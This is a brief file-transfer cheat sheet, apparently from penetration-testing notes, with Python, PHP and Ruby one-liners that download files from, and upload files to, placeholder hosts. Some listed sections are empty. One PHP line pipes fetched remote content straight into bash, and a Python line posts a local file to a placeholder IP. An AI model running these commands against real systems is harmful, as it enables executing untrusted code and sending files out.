File Transfer using Programming Languages
The use of programming languages provides flexibility and automation for moving files across systems. Below are some common methods using different programming languages:
Download using Python
python -c 'import urllib.request;urllib.request.urlretrieve("https://$URL/$file", "$outFile")'Upload using Python
python3 -m uploadserver #Start server
python3 -c 'import requests;requests.post("http://$IP/$uploadFolder",files={"files":open("$pathToFile","rb")})'Download using PHP
php -r '$file = file_get_contents("https://<URL>/<file>"); file_put_contents("<file>",$file);'
#Alternative
php -r 'const BUFFER = 1024; $fremote = fopen("https://<URL>/<file>", "rb"); $flocal = fopen("<file>", "wb"); while ($buffer = fread($fremote, BUFFER)) { fwrite($flocal, $buffer); } fclose($flocal); fclose($fremote);'
#Alternative 2
php -r '$lines = @file("https://<URL>/<file>"); foreach ($lines as $line_num => $line) { echo $line; }' | bashThe usual $ symbols that are used to point out the things we have to change are replaced by <> due to the use of this symbol as a reserved operator in PHP
Download using Ruby
ruby -e 'require "net/http"; File.write("$outFile", Net::HTTP.get(URI.parse("https://$URL/$file")))'Download using Perl
Create a script using JavaScript on Windows
Create a script using Visual Basic Script on Windows
Last updated